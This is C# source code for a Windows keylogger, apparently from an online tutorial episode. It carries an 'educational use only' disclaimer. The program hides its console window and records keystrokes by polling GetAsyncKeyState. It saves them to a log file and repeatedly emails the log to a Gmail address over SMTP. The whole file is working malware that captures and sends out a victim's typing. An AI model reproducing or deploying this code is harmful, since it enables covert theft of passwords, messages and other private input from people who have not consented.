using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Runtime.InteropServices; using System.Net.Mail; //Author: ComputerAnalysis //The Computer Analysis: Episode 2 //This code is designated for educational use only. //Please do not plagiarize my code. //I do not take responsiblity for any illegal uses of this code. namespace KeyLogger { class Program { [DllImport("user32.dll")] private static extern short GetAsyncKeyState(int vKey); [DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); static void Main(string[] args) { IntPtr hWnd = FindWindow(null, Console.Title); //Title of window that is to be closed. if (hWnd != IntPtr.Zero) { //Hide the window ShowWindow(hWnd, 0); // 0 = SW_HIDE } string log = ""; nextLog: while (log.Length < 2500) { for (int i = 1; i < 255; i++) { int result = GetAsyncKeyState(i); if (result != 0) { log = log + checkExceptions(i); System.Threading.Thread.Sleep(115); //115 works best for my computer. //You may have to play around with the value. } } } DateTime current = DateTime.Now; string date = current.ToString(); date = date.Replace(':','_'); date = date.Replace('/', '_'); string filePath = @"C:\Documents and Settings\All Users\Log_" + date + @".txt"; FileStream myLog = new FileStream(filePath, FileMode.CreateNew, FileAccess.Write); StreamWriter sw = new StreamWriter(myLog); sw.Write(log); sw.Close(); myLog.Close(); SendMail("smtp.gmail.com", 587, "username", "password", "username@gmail.com", "username@gmail.com", "Key log for " + DateTime.Now.ToString(), "New Log from " + System.Environment.MachineName, true, filePath); log = ""; goto nextLog; } public static string checkExceptions(int i) // makes log files easier to read and cleaner { switch (i) { case 1: return ""; case 2: return ""; case 13: return ""; case 9: return ""; case 20: return ""; case 160: return ""; case 161: return ""; case 16: return ""; case 162: return ""; case 163: return ""; case 17: return ""; case 164: return ""; case 165: return ""; case 18: return ""; case 93: return ""; case 37: return ""; case 39: return ""; case 38: return ""; case 40: return ""; case 220: return "\\"; case 191: return "/"; case 222: return "'"; case 186: return ";"; case 8: return ""; case 33: return ""; case 34: return ""; case 35: return ""; case 36: return ""; case 144: return ""; case 44: return ""; case 45: return ""; case 112: return ""; case 113: return ""; case 114: return ""; case 115: return ""; case 116: return ""; case 117: return ""; case 118: return ""; case 119: return ""; case 120: return ""; case 121: return ""; case 122: return ""; case 123: return ""; case 219: return "["; case 221: return "]"; case 189: return "-"; case 187: return "="; case 91: return ""; case 188: return ","; case 190: return "."; default: return ((char)i).ToString(); } } public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName) { Attachment att = new Attachment(fileName); MailMessage msg = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress)); // Create a MailMessage object with a from and to address msg.Subject = subject; // Add your subject msg.SubjectEncoding = System.Text.Encoding.UTF8; msg.Body = body; // Add the body of your message msg.BodyEncoding = System.Text.Encoding.UTF8; msg.IsBodyHtml = false; // Does the body contain html msg.Attachments.Add(att); SmtpClient client = new SmtpClient(host, port); // Create an instance of SmtpClient with your smtp host and port client.Credentials = new System.Net.NetworkCredential(userName, pswd); // Assign your username and password to connect to gmail client.EnableSsl = sslEnabled; // Enable SSL try { client.Send(msg); // Try to send your message Console.WriteLine("Your message was sent successfully."); // A method to update a ui element with a message } catch (SmtpException ex) { Console.WriteLine("There was an error sending your message. {0}", ex.Message); } } } }